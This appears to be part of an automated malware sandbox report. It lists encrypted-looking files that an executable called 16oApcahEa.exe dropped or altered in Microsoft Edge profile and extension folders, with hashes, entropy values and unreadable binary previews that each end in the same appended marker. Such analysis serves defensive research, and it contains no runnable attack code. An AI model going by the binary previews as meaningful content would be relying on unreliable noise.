MD5:	CE69C5DB00E469A2889110864EDEA5CF
SHA1:	311CD0F773E59F90E701515B737FE070CA4B0301
SHA-256:	C600A70F2E9EA284AC111334A95F682AD3CC362705B8FCEA2847A559E789D6AE
SHA-512:	E4B0EC950F4D121510C2AEECBB114F30DDCE150707DDFA22FB5B976BF02A3AE7799A9120DA1D9C203CB26E8BC1C706900742B2B817CA6476F4242E0AC77EE9C1
Malicious:	false
Preview:	.f.5.>.)j!..0L.N..6..HO].pJ..)..?.b.W......p.s)..-....-..D?.#)......9..O....(...x..#...p.E..`\|...."...K..q...?..w$...j.t.s.P.fB..hT.`....F....1._X~.G.v.K.i-wFW.w.-...,....._#.._. ...:......3YDJ.^"......U....K...U 'K.4.o9^....1...-.U.Y{0..//.R.....jl...t=..\..iC.....m3.g......8..Sol..!..7...'.?x.../T...;..oT,.!./.5h0@...k.{....-..s..........]..D.W..Q.m...jv%......`>.2}.).#.%..8...D&._/+...6.^.Z.j.@L...8...z....r....]..C.S..g9!..P6..'l.Jr...1.>M....(uL.^M....p..1vm...,%Q:r-.A...K..3{..A.I.y..u^.6...d....._.....b)...)..`......:8l.q.Fd.A..$;W..L8.....')..Z..W.7......6.$v...\..d.~@.}.-.....l..K%{:(._T...W .......I-q..`....$...D..QF`.eZ ....K.l.......N.Q.....#....Bm.Q..2..~.#......m...ee..-.......}ss.(..G.F9..N..:^..,a~R.r..."@..........'c......g.C..#........HD..g..:..\|.w+..\ra."..?B..i..O`.P.?.....1..eH.f..#........Tr...Yf..... ).a ..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	655
Entropy (8bit):	7.597042976130704
Encrypted:	false
SSDEEP:	12:kLBHMlbZsJAUDRjO/q7vzBTEbND4KVRuV8weGVI6FJGwu9M2cii9a:aBU2m+RjO8bBeR4KRoe6i39pbD
MD5:	19CEB961FC4EBA71F848272BB3B68074
SHA1:	9760DE650B5AD646BE34E393CC8EE112D7F5BB16
SHA-256:	38729841C1734B3AC16ED7EA707A5C607C2AC97B893C53F77FDD7E1C2ECBE7AE
SHA-512:	90FA502A44D1F72D9F16824B128DCEA2C611A87074A50D5DBBB48A2D21E02988AB49200B13B333DD8DD0A0E671BFC5902B3313F65AFAE97A22F38BD8052DFC16
Malicious:	false
Preview:	2023/..5.W.6'>pN...A..=..pJ.#[. .^.Z..Z......$._... .Y..~....K..yI.x...U...gx6..581...."..y..sZ.kK........3y7.....S.b.Rz).x....%...L..Fm.].3..h............g......WW..z3Q..u@..\..d`..h.'....i..a...4.m..5...iF.-Xv.:.$3.x.l.u....q2..5..R..z..Q..9B..8.~...y.....!.......L.3....1%fYO..g........E..4%2.=Zu.................e.!.q3.4.d....A".....H[..3P.Xe{.f...x?..=C....nOu.....u%...,u..P....w.*.Pz.f.)......E7gIR.6.x.$.R....d8..<.ABD1F....^.6Q..u...<...>....#-.u?..l=.s..k.).....a.gN...s..(.wJ..Y..-~..\|..^....r.0>?2....k....t~..nDl}.e..U7..^...=.'xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.966603029264026
Encrypted:	false
SSDEEP:	96:luQbKcyxou+mNDwhfiu3+2V78Cmv7jtCf9d84TLurPiKAkM/:00RyxobmNDGJVICeFUZSfj4
MD5:	C414693D930E0239CDA04664BA47BCC2
SHA1:	A4AC852AAF1C3E595DF71E179D4E7F0919332390
SHA-256:	88875A2EACE2168817A5EDE172D386EF42DD0CF1C9D294609C84DE8D5EDC1EAC
SHA-512:	684245B8DE5508915ED49B5977B42BB10A6A6C8C1BDAD8DB7403F071E36990A44A36A83B68F2D7CA87569F38986977E6CA601080CC226A9A0BEC7D85F44BB295
Malicious:	false
Preview:	.PNG.K.....C~.....J.6.M (..r.........y.......M...z,...H...b.G]o.HE..3.aG...!5........\...+.&......s)a...7e...i.vCCcm.o.p.Z..+)..G9....-_....X....f..f.j..+.(....`"..a.v.}7.U..).@.._Y..mC}.........Q.....sE...a....\|...........r.}C...\|c6..C_D.....S.i.[...3.g.y...6_8.......)(.FM_b......:.~a..2.t..w.K....2.........K.r..u..!................._..6..2....m...<TB..o.C+].@....lZ.6....7..4..m....,c)i..=A.9.@~....7f....~...!0...:{.q._..=.......W7.s......j.>.....XK.p.3.:.Y.........c.O.T..(. .Z.K....po..W@?..I...p.....XC..=.....Uh0..(7......P.kH..S....Uj....1K../...b]w.E.PMd.{..sCW.kW....$t/=i.......~.J.Pi..2..I.+..Cs.XJB_..."...y..@0_d.yL.....+U..P...1J.S..Uf.j....N...[..8....S...S.q.Fm.mNu@..h..=...+...~.i}Uf.%..`..UUsL.Y+....}..oW....T.C..........!J.ll..`$L]......p.l@cr...f..."......EM/.u..c4.. B....A....mR,S...m=i.....m..u.25U....o>......s.!..Si.y...1$%..1.u...N.)o.5......;.H.G.....a...!............Y].z.B..._Y.;..j..2....3A.>.>....S..T...^u.0wT.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.991058010745014
Encrypted:	true
SSDEEP:	384:03bdWHEUOtvPpOO1b00csRXa2vlP0GDwYsF/P2qKLSBIDaAIElYQ:cKEUw5csRqcPlRom+BALl9
MD5:	6F1DA1BF08E128A6AAD07F74CEED87DA
SHA1:	BF69A1F1E68EB4EC26FBF846E9FC19A25EE0303F
SHA-256:	689FF7C7ACC932A82705503A91A3D7E51A7A4C4D40FA748C27F42BFA852676D5
SHA-512:	804DAE90596332F15E9DABE463C11AF0F1FF3C809F1BD768F3AFF04D07D5A10C9F3B4053E8073A0E4E285F0AF12BDE6ECA10BE807A190C2EEA8E8C52F74E803C
Malicious:	true
Preview:	[{"de.u........,,t.D..16T......+~.jz..H...\..4...b@..,..`).g..Z...<W..,.x<.3..~..z..M...B............i.[_.u....uu.........m....i....w.W.5..t\ Y.N.5....5..=\.?..]...O6..E.D...%k"....J$..$..5./.WV.A<1..r\{...wQ.1...k\=.y..V`...D.&.l_<...C... \|...[.BR.Yg....<....[%8p..{.z..b.G..q....[t^2t.D.v."w.....V....}_:{K..........\|Yw...............m....P6....0...5.Z8v}..M.2.~.Z..l1.aG.'....-.........p....p..s%..t.Y...&.A.7...-;......f.....%K.^d.2...!Q.]..7....b;.L.Pg...K#.u.2-...Y...m}d....,.....r:.[.e.....Z.RqS..i2..rMNj3w..3n.@..K......T.C..4....f._.-..b.cGH. xr+1y........v.C...E...M4.....7e...?...TAX.n..5.8Y....<j...y.#..q8..O..........\|.......X..........z)8{]..)..g..X/.l..h.1...o>_.7.M.T....]F...6V..t.._....e.sL!6,...].,....?v..\|Y.j....D..`..!...0.......8.e.!].HN...wNY.{.P.:..46.A...9T...Y.....x...q6..=...4u..]7J.).......>.K.R..f.5..z.E..N.)....%.VC.]........\|.~Y,./.c..y...Z....V......).lC."(I.F..u..#..U....Ja.I...+X.......q.P.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.81946415390219
Encrypted:	false
SSDEEP:	24:qxKf2ZqWn3H5TL+MVB8AssebRNAnk1ybHJIkCvK0air5/LbvaUw/7Mw39pbD:qxm2ZqWnN+MENV/An1bgvKdE7wTdNJD
MD5:	94EAFCF1F5F00D7E6BBF7FACDA1F1566
SHA1:	C9EB2160EF62E69FA050138C48A79E6383474520
SHA-256:	791B991717CADAC4CF156C3CED08A360647EB00C533ED257B26B428824A20294
SHA-512:	7A1A21445C490A84345424B4AB4152472663DBDDEE69F9D33B0ECFE119885248F1C6AE9D3EF7121047D31FB86AD492FCF1783900133533A879F0BE6BEB78FA4E
Malicious:	false
Preview:	{. "b`H!2n.'].;....'.@.....4o,Q..\....v&..=6.s.Bf....!#..{.1...5.......Ox.e.>.1?:b!,YTe..B.C.;..........%Y...B_.....c.uFJ.....B..d..9&.....rr...(<m...{M3.%Y8....G....I..\|.b%..8. Cz.o;.Y........].. "..A......h.......4?^.C...LTI.....V.>..Ww....Yx,......La.7O..a...W:0/r.........d...P.P..v.2B>........2.%s...l...E.~.)...%....0."^KBf.RW.2..f.5q."6E...!@....<.E.rZ,...)A[.>.ltQ...5:.........i.C.+.Kp..t..w5..........d..B......Ls.gJ..2.,.....?......J.C..S../..q.......C5.~....x.u.7.0?F...a.vK.gR$X@..........3?..G....:...b..1E...,)?8. ..:.p....vd .?..7..!.L.K8....=.H.`.GB..D&5...ze7...2....0q.;..$. ...uC..O.)..t81^3.$V./.o6..M....$.O.....A.{.v.m..j...=$..O/B.g]....`.n.@.J.....y.0. ].VnV\|...X?&....D.A.558....U@.B.Y.....0........;...s...h..L:~.#.a3>...W.#.e.3\..........F..........,j..q8o4...........t.'u,....t.Q..7.`.L.'.i...ud.....!e.=[..\|yZ.C.b.W^.~...T...Qo..7v&.m4.2wl/.{A.#F..&\|.3C.O...w...T.] y>.w..D...i..F9.B........d...AK<{...f.3X

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.997845068605789
Encrypted:	true
SSDEEP:	1536:I7nSkNMIWtOSZ4SHi3EFW4TVNcmuwoIux6VqK8t/Lisf:I7nSkjjjmi34Buw1jJ8hLf
MD5:	37753044CF7827D76ECBBBA64817E07A
SHA1:	BB12A3F3E60409D2E50DDD8C18908E79B5DFB8B3
SHA-256:	21EDD4D6C185E1BEFC43143F38EF87FD0ACCF8C75B108889C57579552C12FE5F
SHA-512:	324D957989FC69F42B095F33B11411297A106881B9D626407D25DB7E1FA2511AFD0129F4C81798B4297BB72CDBE1F8467DB23A93A19949ED6651A3CFA7E714B8
Malicious:	true
Preview:	/.. .%1......^<......NM....hx..L....m\|\|.0.!`..6uZM~.'..0.Z..S...AK.C.}.lp.:...i`...Z...N..;..OA..WT...h.[....ph....'t.].u....".$...H?..w..Lc.....~..`..\.....yvS..q....^...98JA..R.(raS.......:..'^....y.ndx.c...D.W..].F8..z.U...;...RVn.6...M7..y.fjK..2...WU...M......Fq.`......A....b.C0.......{.T.Y'b..vk.Q/....?.I.O.bu5O,Dx..J<N.c$....g..#..$\...v...RG.;.T..k.()..0Zu........r...v.<i..5..s..%z.....u2..F......P..g..+.......u"Hi.R4....X..e.....z....?..>......h....x..$.F..!i.../.j..Ps_.?i...0.....;f.N...Q............S../.gI.H.....(:......]....7K.5..F.~..j..8'...v.+.%_)<.S..1.s..z..!OZ.+...1..[]d(f8.M.?.OVa.....Zu@.........7_/.0..H.S(.W...............<..8...C..d.?..o..M.E^$].....o.b....l.N..Q{+..Y....y$.m.Rx.h,.....>.3.._?.H..~..y...........dg^..(. D..r..<......(3.).p..........F...7..!C....2R.........u..........U.......eD.._.)==iex...3Qw...@.\_m...W..W..\d..).f..%.uifZ9..XX.....E.lK.G...#S-4.+...'.@(.Rh..F..1.Q*/...[.W.}.f<.....N=.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.929405728565287
Encrypted:	false
SSDEEP:	48:fLEopRrWZLL6Fec0wlXJ3kHC9NiOVx2gBZ+Hm+mhqfeGDfLgWUba+ATYPPjG/OJD:fLE8WJ+d/ZkIFVItmxhqvaba+hPa/Y
MD5:	CEB9077D5A48CF615CB715126F7545F5
SHA1:	3E4473AF5951135B4E5D210D9FD076C24B4BF3A4
SHA-256:	B51452196D15502767A48A6985CB5AB78F28E70FBE04BA8FBA68C88991A110EE
SHA-512:	3451B28BDE5DBD2DC20190853F06EEFF04FF37FB4FE5E8A1E363862783FB67CD72AEA45629D6EB35A8E71487287BA00F06F980FCB9EF375C3DD6C43EDF786514
Malicious:	false
Preview:	{.. ...^.]^....p....T$.5...X<.!......R....tb<S..0\|.....n.o.B......A.."...a.}.g..1q...GH4s.s=./...~(.0Vl....+8....#..T.......m[...M.o...>i.a...'.U....k......`.A.?..y....SQ?.......%....T.G.D.^..".I........>.....iB..5.b...~.a,B.......y4...\|..O......++...........Yj..6;..&.P..h#v.....fx..;+o.8J._6]...?..Id2...P...(H.9........'.^...fM......d..3....JK.z........u.o.`.xh.;N.....^...%..5z.`.=.D.~.m.U......q].y.1..Z..^.K.O.)@Ez.\|...F...0........UJg1.'.sn'.KG.(......."..=.P=.!E.../... ...Q.N5k....e..f.8.(.-....X].O.l.r.S...y...}..E.x...."]x..6H.....-h.\....A......o.........eD....f}.,....R6....:p.Yr...4.(....{.f.>..Hx.ej..O.3"@`>!}......h..P4.. j.;.@h=...KXn.6_.:H.f8>......-.)7.g.^......9...ES...b.h...+63....;..\C.....'i.....j.....Ub.H...c...Z.!N....w~..Y.R.m..q/.....wa.TW..Y1.._TQ......5.7....mb.0..x...s.G.G.E...F..}.z....w.h8.jmG.(.tOs.....M..HS.......c.Z.t/^lZ....{p..s9}.p..*......V.,..5.L8f.L..l4/Y.6p.....=....F....&..L%..h.}S..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.663980708096429
Encrypted:	false
SSDEEP:	12:2cgXTdH2N1z4A2n9QcQdQHliefWVhpmdU+ysHL33m14T4cczcUzBFc5Gwm9M2ciD:2cSpWp4AANQSbfUfnuG1EhczcUzB3x9h
MD5:	79C3F7FAFBE8AA175ECED90CB7165F8B
SHA1:	5C26F2E2AE60DA43EF24AF6E8780B9FF8BF758CD
SHA-256:	8162014F7EBCE08CA383EDFB0F78A2BE83A82EAF01347F0896A669294247AB1D
SHA-512:	49127D6A94238023545F52F36864F37D0D14C3285A4C6423DFF5442545F3D61668F1E92679CA49EC080D6558B6E62F71726CFFCF776C7C85BEF6B6E24585EBE3
Malicious:	false
Preview:	(func58O...}.3..\-.@.ED.r.m.t..w..Y.....\.[W'.6-.U.R=..X}...xV8...R.Dlv..~.2F.v...4.7+.k:Peh./n(a..7.T.@...Zm.1.,Z...5Z...X....@.Q.J`..r....z..S.7..m.. ..3...F..^i..^.....=...A..?(e.{i......A...hMM..B:f*.( .g...\|..5v..m.u.......]d.........y...J0v...+.+F.....k.Aq.9.....]<)...p1[8gt ...t..M...Q-_....k......[.r0.rOc..#>H$mA...P........)`Vy.q..,.N'.j'....p6.J..:...&...8...".6....T...m..y.z.<...........\|...U..%!....[...~.\-....H.T)6u.!C.b6...[t..A5.G....#Y..M.\|..+...ao..o.#-.MV.Vd...w%.r..g...n.m7z.+QU....y.2k.>.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.685348780619686
Encrypted:	false
SSDEEP:	12:YXuBQzctaFa5DfDMjwr04uOmhg6cnKrR8EcSH3qPKddxiBd3BgVqHHnn53w6n4TX:YeBQvFaswnuOug6cu8tCg8qHH53w64TX
MD5:	3683D8AFEC361BD2909065399AE5BF43
SHA1:	7C3286DCC431C5E2ED97CFF3EAC829735655E9CE
SHA-256:	A25208A9D368FC38AB8BA79C0F2F6C2F7CD5302FBB1F99B8AD3EA4E203747A50
SHA-512:	1C6047D344D9484957AF22487552BF9E4DEAE819A01557C1BD453238E2E5ED553C96C3686F03CA8DD92942B61CC5E1F907028450C7AFFE7B54FCE2031F7DB6AF
Malicious:	false
Preview:	{"fil....g.IM.>...\|7,..8....+....4XW.[vJz..8.[...r.H./."..h..0.v.".e..).Y-......".....?.I..NA.~..:.JvZ.h...\|..4.nW..C....._..N...F.dhZ...E.`...#S....%.!.&N_...M...c'A4b~Y..X$ic[....rY...{/.t........G...Q..~AF."...'c.A[..9...l..(.-.6....d*.>U....A..3..j.<N.Q..0n.......a9...].G...S..:....q.J....".d...z.....d....Cz.H.......d..w..,.K...U.P....G.V.pWx/..<...i..Q.UaI.emB..0...!....U...ihN..a\|.HW7..+J\..v..].__..c.8.2l....G.R.6.d__........DU.F..}......0D..K.2...]...`.;.Syo.i..."..UV.....S.4R'/..`N..R.[.\|....C.&H>..~YM.J......V...}.....~.9...,.}6.Y2.....U...`..!......l.1..!....0......K.-.....A..).......U.1{..x[....3o7...R\!S..i.yi.k....w....G<.,.......j.=xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	7.91137955644224
Encrypted:	false
SSDEEP:	48:4v6BZHboTaMhwMgVIhwjK9QKJn9H9UUABUHLuYt6WJJD:4ysX9gVqwGRHKmHLuAb
MD5:	9533D2F2BAB0AFD97F65CF1CA7A298FC
SHA1:	5811CAEE772B76693A36FA4E6AEE37AFAD10D04D
SHA-256:	067578575B664E5173F8C3C5687866FE59041F8387CF7991A8082FA4C81B546A
SHA-512:	0A6D8BD26D02E47B2C14481F0276C02BC17B27A6E17F43E8FD1B3058FE8F39C3D52219C7377CE0B5A61D97B973D9AEFAA8FB62BCCE8D31D697965A098F67BD90
Malicious:	false
Preview:	[.. ..>..X...E....}.g...1.C..,.m.G.....0.....q..CR.-:/...x.j!.R....7jbH-E@..F......r.S#....>BKL;7..."&....N92..?..D.. m.J.a.1...J&..=&..j....#..`_ui.....)......!\|.....C.2.....YJ.8.i..Y......R..y.`.3op&X`..... .......!..-.(v\|...s..I..1..8r^dS>..`.B..51y.....E.k..T.....6.....L..iP.......\|"{.....\".....j....Z...[......J?i.%z..r/A\|{.<8....."..\Ar.o....&.%..>.......(...._9^l...w.m.\|...........' ..^u0......U}..\....<.U...Y.>....Kw.-v-..;s.......5.k..w.Q.PaL.....@<A..3..h.#C.7..X.u....z.....J.r)..:.e.S...W..K.V.A..K.-.=..Ly..vv}.s..O%}....6)gkBI.....\|..B.Vr.L.S...oZxT.2"......0P.......C..i.,qm&h.F.oc..w...:....A..O.....bk...1..>.."..q...@..ty............^.......S.j.... .g.......A.3fW..A+.4..(Ry!.wOr.P....em.w.u....q\|..""x.....N....A8..x.Z.0u..".v.&<.C.O.#.0..9.e@...1...b.N.=QFs..4.%......C..N.V..y^..w[.a...&....yx6.V@q\...(u$........X_...!...j).<..&.n........\..V...x.C!%C....I<Dl.a/H.{.]P..g...V5.S..t...u\|q".

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9751
Entropy (8bit):	7.977967343777954
Encrypted:	false
SSDEEP:	192:/brAhF7sIFBZIgX+4cXitZz/iaP3hbWHopOYsCmw3GUBt7LtX:/bYsIHZpX8STiaP3jpyXw3GUBt7LtX
MD5:	BC1E770CFBA6B23E874387BA8947244F
SHA1:	9E1ECE365D43557E5F26F1089D62DD9E019EFDC9
SHA-256:	00655F3E67DEE583A90E00F78E67A5343C9BB6225B8E908AC738283F5C75ED24
SHA-512:	870CCE6152165F2CF4432EFAB7A291FE129D5E6062C76FA806A30815401822A82D46947592A4371505DCDD54F02357BB05C189922115CDF7D2F65C1C669715B7
Malicious:	false
Preview:	(()=>.c..-j..P..{.$h._...st<.;Kmm..<...?.0T....H...}...?.?.b..D...%.....b.O.3.W......~..R.D.?..O+o..E......v'.[.3.i..8`o.t..R....[..s..].\.>...........TUl.._m...oU2{X.=..........3......M..z.....@ .{..:..8.........0.u....k..!n.....\|ys....;..n....Z"+...w&..^.\|.xL..f.].{..?.R.....5.......l..8.l4y....U....Jt1k.........%....}3+3f.#..7..^.....?...........m.e...R..Q.....0Dg.. k.s....AC...V1....jPU.KxS./!..Z,...;.5...I..Yo.b.P.4.vE9co..e.....},+o.~.>?`.oM.^..v...dU......x.....!....o..j[.op......F..-.8....QP0.2`..E.:y..I-..] ..%!...7...d...>z.>.....a..p.W..k...../.)\|.D...[....?.X..7~."y...?.. ..a.,....8..y..z....9..?.......]...Z..A..n.No....*..HH/...^`.V.78.S..y..%..g.....a3./o"...,..b.J.4..._..Ww....1n.)"..4.z....If(.Y6.....%...>..,.>.^%.1.h=.g...%..5...JL>i.\|x... I......"..}.9.....K,/.%=......nx_1k.n.....JIG.Ums.:...u..G.z.......=V....\|.....]..a.D.tmnT...R.?..Y.t"....?....-....\P.&.\8.Wo.D{f...`..L.H......C....X.$..0.S..'I.A....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	10104
Entropy (8bit):	7.983204720345934
Encrypted:	false
SSDEEP:	192:zUhYGk/f9UDdbGW1qHS7HBpMljs+lLAVq9zymi5Cj4PyL7DkQTGGurHyw2ifXhOL:IhYG6OZbREHWHfMljsiLAEdj8QTGvywo
MD5:	12E8CD0DA44817005EDE00BA919F8A8B
SHA1:	3FE551121FF06DFB895C4A8E228ADFB76A50E5C3
SHA-256:	EEC2E141931B22090911C75B1C0AEC155030B33C26CBA2586B447A3430B4FDE2
SHA-512:	E8F2D40727678F51304420D2AB4C238DB1356E5F842C54CDB7CC2D1582D3B5ABBB53380179FC98CB781D9A32BDA2AAA238747999773A431DE33058FCEA47A250
Malicious:	false
Preview:	(()=> ....-..M..N.f.eK.;..}.^...F.....sEu..1.......]....>g.s.b...S.w..A.?3....u..l.....0.....3d.QMS(&.../c..i_N.....^:..3.8.i...(v(.](SK.........T.5..).[....(....x.\|..e.JA....P...E...EpP.,.1=..^...z..%.......f...:....x....w....sC.m..M..........$75K...p'...x.J.w....r.d.].....VN.&N..>.c..v...zZv.w.S.W..8.l._:....~.8.LG'{..@.3.}~..5./8C..w..x+....@+h..[.s........4....H.\.n...]".y.f@.2,).7.....={..0+.Xl.2J....1..+....4..}..sH#....K..x.LJ..1:.z:i.V"R<..Y..UL.9.iha..:a[k...~!'.X.....dco..`I-.O.w....k.KNR.1..N...9U..0..ZSe...[....JT..s......#...._..iM...m.pzO-.A/i>....."...p(...j..E....].....j..84.!.nmth..V..P......1^..O....I..F........f.\.....H.\.^`......27Yd...`.;..{...Y87J.a.>.2.,.O9..t...0..../.Mu.E.]..So;..I <......:rF.L.%...\|....A...Y...z....8....X.N...O.#.K.;.qS.v..P\{....h,.....^....a6X.R.mh...`]..g.R<Lg...:...^..~...c9g.\3.N=\..d.+d..k..:S.i.L\x....=.G..s..O.0..<.....G.[. ...e.. $..]..vt.~....O..=j.#+.g..+jt.*W..?Y9..u..2W..A.I.x..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.851827300315543
Encrypted:	false
SSDEEP:	24:gMwfSr58Eb4nWvYCYjTYQKorMcQa/sB9iQg0zFfOdZj16poKU1lgpewH+Z49UIPE:gMwfCxbf6Monei50Q316qKU1ls8Z42Is
MD5:	5E39101BF12E436BDA3E80BF07E238E5
SHA1:	FC3FD359D8B783C9B5E95F75FD89DF5A98D2C54A
SHA-256:	E7F821E9B32351BC453BA9D6C135976020CA7E44C432214F535A4CA67E5E27A8
SHA-512:	FFE68279F148CF850AB00C1052683EA67FB7D4DD08D668B4F8DCDC807608E9BA5A7E6FE9672A857EBFBC272765F4E28CA6B16ADE54CD240485DEFEC11359A12A
Malicious:	false
Preview:	{.. 2}:..yG]&...1.H8G.K.1.G. ..N. #..L..P...<5..7.GJm.K..%....3....)..:om..[.....i...2..C.B..V....&.1.v...C.\..."..2.o.:.{9&...>...u3..b..-`.#v.Ww..z.E...<..w'...th`....4i.L..'.{.G..^.UoH......2Q.M..l,<.2......(..-.lM.\|/j.=.. ..+.)/....?._...Rv%.H.S......M..l..[.........zh.'u.I.=.,2....f..`.%.Q...^..q..x.!T.......8...?....<...D.H.^.b.5c.....\w.8.q?>./.........j...p..6..p.\...~..d...=.k.....8.,.k..'.".......L...C.u.sHz.q....@.?k...ip......>....T)..;..._.f.1...et%...r..3$...n..[.e..q.L.~.y..m.TC..@.......>..!.^...D.'.0&.......7.....N/.Ve....)).V...<t.>..x...#+...~>..n.p-.[..jzce!q.Nl..$S~.._.j.-LU..Si....../j...d.P....8.J..6V.rT.....h...fjs.,......k....@%./..@v.B '..#..7..h..E.....cp.x....^..........x...8Z..4.s....{.6.W.[...re.l.g_.2i.0S....&..t.ia...w...yo.i n......a.zgO...0Z..7..........V.m.pR...=.w..X.c........C[....i..(..k.>.L`6v...v.....wT.,.qH..{..)...Y..F.w..&.;..N.6[..}@.B.....Y`PmG...c...?......I..9...W...9.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.452945777948929
Encrypted:	false
SSDEEP:	12:SYFJbRKrY+dQUEiaA9svY1T8yu/DDWRmVr7r0ynuK38irG9M2cii9a:xEL3ROvYebDDZfr0i38irG9pbD
MD5:	2A033E1AD9ADD2B93DCBC857D6E07DB8
SHA1:	49B7CC565DDAE5E086886AE5810B025223779D95
SHA-256:	58BB5B781CF9D842F6AAE2363E773C56EAE41E6F54997AAB032422DF07085657
SHA-512:	CD1C26FCF27C90FD434AB84366A55F72D4ABB80CA6BBCA0227896E894689A6FCBAA4DAC89280A7A24BA9F63F5AD226693A18C7EB4B3B1F19332BFE52111A603D
Malicious:	false
Preview:	...#....+i;I..F..x...3RK..)&.~<...y...3.$.CcDP.. .....4p..@..G......v.Q.....Q.a...g.....W.2.,.N..........4B9I.KU.s.A.Z......}.R.'..c.~6....D...v.......[..t.....?......A..\.\..O....4?....L#/....(.]J..,g$R.L...U...>p..yp.....c.6m.\.$.G..YG{u...Q2\J2......U..~...e..q......f...qZ.dE.\|.........V..Q..<vG...Q...+..%.>.......9m...z..XI.U..^L3(.g..,.q....G.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.300023917915941
Encrypted:	false
SSDEEP:	6:dug7JYaQZNw7L3mwc1yOYVgHHX1hZZWkCVkQmRZugw0bZPvL1Hs9Hs2xcii96Z:duhaENWLWwc12VgHHXrqkIk1btDS9M2X
MD5:	12CE0A1264F68A3864E8BC470E604194
SHA1:	D60B5FA458DEB385732EB916B68E81756B231C21
SHA-256:	51586B2D2B786E3D6F205E0D55B440C66C3E978BE3111DA98B2A3368F0D7B3AB
SHA-512:	6FAF37F4D635EEB0778E3C86B2E5D484A7BA3BC62835B711D04C0BC0AE430885C5F7D83755D0A1D2668B14B6FEBBBCB03F523A64E0E038851086E65CC279DD03
Malicious:	false
Preview:	.On.!.f.5.s$.....(..\|Z.?z.......!.l>.H....B..1.2.#)...7:.L..d....^.% .)R..J....XN.....%.fz.#............J%......-...p...UyP.!.U.s.R....QYX..t.P.n..M.^b3.L.:x..RF.VW.R.bM..,.`.'..v..3..~.......s......K..^...O[.d]....c....s.U_s....c.7.R....}....D..K;=.&.QQt.........c..he.J.<.J.%R4..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	683
